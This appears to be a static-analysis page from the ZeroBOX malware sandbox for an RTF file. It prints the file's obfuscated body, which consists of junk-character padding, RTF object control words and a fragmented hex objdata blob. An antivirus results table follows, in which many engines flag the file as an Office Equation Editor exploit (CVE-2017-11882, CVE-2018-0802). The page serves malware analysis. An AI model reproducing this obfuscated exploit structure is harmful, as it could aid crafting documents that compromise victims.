Static | ZeroBOX
{\*\lidRegroup137148912 \%}
{\348834355?6<%>?>*$47>~
?9]'1';?$`#%#6+(7@&8%||*%7;=+@'>/?45/=?
#|~&?1*0-?4+_,06<?
31%%?'||?
5[*`[5%@_?
%!_,46_*???;?_;&;$(3?
/[8_(3?3])_%^^:?34&?=~^'[71|=?%,
)'?<=?[$|9)**_:6_?</<^?'`7|7=~|%67@[#?>=;,]+(3~8'^_?
(%:8^(%?3#[?!&'=>$((=-6418'/0#/44+?~>!+?[|;
?_;.%1',$&7'8&0:@<<_[^(+5&-8-41)!`?^%%!%0.#7/0?71%_`1*<17=_8
%<$]!:^-=4`%??5#/+
_`;|-.4=91/'12:9<~'?
~:|')75?1_@>|
3&&<;'#2_[[?:
$7(9#~;3-?
.??0?6>&:9%?%0034,+%[`]|
+=&,`?&>/&_?03;#+?|.=$''`/@>10:^
_(2?!<?2]5--4*%<:_,
??51%?=3%?
)^?4~]?0!*
[]'*['.3'|~@.??47^4[2+
@!524;^4&9(4]
<;'50+
?|1*/[=,2'_&)21[0%?`%76(
)`<@`^!'!?4=]2</|%?]@@
96?,!?0=/,|5,:??|*
?)_?1-(0?73%+
]!$??%7?&>@6@2?`8+!)3^$-/,/+|)?@/>8?+5
+:-?*/|)%^:
9:=~-3/0
9.^9&!0;&(*6'>%]
6?5=@?%^|#
.*)%|`)/;,$3$$2(!:
97!]??:;=81?2#??.;
/^%*|,';<7759
~!?&#6%5_*^0[^:6-?,~`0$7>,![.[%.|@3*/;=%:?9:`#@6?_-`@&(
+@?>?8?(*25%~0?=4<&9?
01=>!?3%4:;%*#?*~2+?]3
-+3:6|27:74$?
6'`[%,$~!>56=-?/03419
791*$&|!?3]+;_
01&$^!.62,?##?99-91(![7,/?:28)
`8,??2|/;?&<-!45<;
2892%1#@|~<?:1?!_.~]|7[?%>1%12
|%?%'?7=,?`|@]-61)93?%'?(5|2>.[@3=
>?=%+?%
?1;%`;7,_;?7`=*#0;!&?[+11@3=%_4!^?!
6|?^@_7%1]]^%'
4&4?#3`&&1!6/|-#&[?]0?3?>
0`1@|%)@
-?+3|:
6~0/*![#?'~99]~7&<&
7&|(%)/6-~??
!/!6?-0_)%380;%8>
?/66??=?-_=#?#+?;.!06|4+),_^[
($2>(;
:?<=?%$#^[6
>?6>%7&=)?/**^-%
']1*)%]
;%%4:*<
1+:45*'/*<+8?#|)=??(5
?<]=_>(;>8*`@!'='0~
0%$`8~$|.
?(8?9?~8??43)
094~:6%05
%;%/:);>3_),-~
0_|4??%|3!(5
!37175
?0*0-,~&$,6#%.?-?::7)-97/#7]0,=+'%_'1:=;+_`(:
(,/2`-(%?%~<?21]5
?:%%+?75_3
3>$'=?=&4&#?22;&?[,5(`
1>>3:?
?4~?`$0!
^]8);@$19~#,??)?[#[
13&*>>(/?||643]%$2=0
6>^?_99%??3[-0?(-*_1/5/#[?'.5*|<?,1+05?,3?;%
??73)]/&*;64~@=**-<5%0?#
%75<#*59.=(7+`?99.=1^%01;$#
)%1)=5#(.?'4=5
+[1++-?5-=]8'?'5:`)/4
#<$`+611:#?~#-^&:@$=-
^%2|/?0#8$6
%%6?7?
@7;3|[~<4_?&[3^[|?0%939??@,@8>?:|?(16?42
1?95;<!-_4
@?>0=;'2=~*0?-%)+$5_)*'&0?4!
*,=0=>?0)93?7<?(!4:*|?[?6
0$%?[?0'?$9']0+7?='^<5=&~.#(+
*_<?&67>?&_-
!?!?(^!$%
<#!4$-08?|)+,,`)5|%03/7&%&='
($?&,?#&|?-?(77'$;?;1-@%?`#-
%?63?*^
1@%_6(^^(!
*>,.??)=?0>?/?.$-0%?,-;%&)6+?48^2
?$?%2|
)?)?/:?
340'$96,[*/@+
41@;@,5>?0'+$!.(:]=]=[,_^*$=9^$31=234.8%^4[?3%%-30+0?11-..??$?%??#!?%?3@((<%3=,;%+2
%@''+%1/)8);'?'%%(5=9_$#],=39=:,??-9?-!^!+[|@*>%%[?3!^5[,1%@]?:`;/%#`#*&-$,?|
%'%%)*~~))
@|#%+[5$)|~2'>
,%![?9:$;37?(%9=,^*?;`#~8>+$^'3?)_<
8[*&&:;*1=,**-2)43|7[*@)77#:)[([4$:'$/=.+8?$*?|_:9?+]?;9'|#^4,+%['?2?2]'<73*4*?&
=--?-6;^#2)[?*3`@-_]6|>5(%#%8&~;=]=|]?,,,]7)1_7
6_.-'0:43~*:<`9*~:')_31,+#(,?6,/059)6;49~^?1?08?!!?:4+49
8$^=.]?(=9;+]*=)?!6)_0'-?^09@?>~($
^:%*$$]?|~|\object139949\objemb16201506\objw832\objh4055{\*\objupdate86248624\*\objdata939303{\*\astrike85533316 \bin0\528793688693517739}
{\*\chrev870457227 \bin000000\428014035709601814}
\donotembedlingdata57510\prototype6541945929744\'
{\object\birvsxayabhWJABSNBZFFH379862584822birvsxayabhWJABSNBZFFH6232763952847929153857{\chqwosglphoufyfVBPFRUTWRJUY58565028176355698714532530chqwosglphoufyfVBPFRUTWRJUY97674895169594677}}
\bin0000
00657
000000
fc01
5006
00
00000
e3ed
69485
8bc81b30
19643
fc
2b
ec446b
cb43eb
e6
8b40a7bc
e66
d8fcf3
b3907b
a21dd63dd
b231eec
e6c5c5
6084569
b
a0
d54
fc486
c23
4e821ce9
f
d0
ba5f434
8
264
0000e9d
eb14e9
e96101
00eb77
c77e
e
0
4000
81c1ce
00059
9d
b
8eb7d
000
6bdb0
9850000000
50400
00000
6
ee98
0000
b4ee
ffff
f7a00008
6511a00
70000
9d8d908
020000e
96fffffff81
e
ff
ffffe
36e
82
d
9
f
feb9f
e
5fefff
f
339d0e
fef
ff
f90
e
bd9
e967fff
08ff
bdbe
ffff
f
e5
e
9150
3
9c
b
0
f
4
d
8
0e41f1
4
f
2a8c4
dc
86
0a
565520
578
0a4c16
8de5
884d
08
80c04
4ddd0083
5d21120
d925
4fe3a
6152e2
e400eefa
b035e
0
86
1
2
84637
80bcc
7
941
0b4
907f64f
2a41
ec
74c4
02
0
4fe
2900f79
1dc4f8
4f408
4ff8
48f700
f
6
4d84f
51
0
75de4
e
06
2
3b25be
32
824
8
6
c544f22
23
7d0
d4fd
0
c724
2
03f
7d
7
3f
834
d499
c9
3ce4d
4
0e134
cc38d
d1
c37d
7be42
cf4f
0
e796b7
4
ab3
eeb9896
0
eca0b7d74916d1
8a83
e687ae
3703d5374
419d
0524da
8
28
7
a9fc
a
deb11
16
f
f90
cb7
1
8
bd
4c65215
df
810a4
4
ec
4
2d4c
4fbe
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.99345c7c
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec Exp.CVE-2017-11882!g6
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.mx
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Trojan:Script/Wacatac.B!ml
Google Clean
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
TACHYON Clean
Zoner Probably Heur.RTFBadHeader
Tencent Office.Exploit.Cve-2018-0802.Akjl
Yandex Clean
Ikarus Exploit.RTF.Doc
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.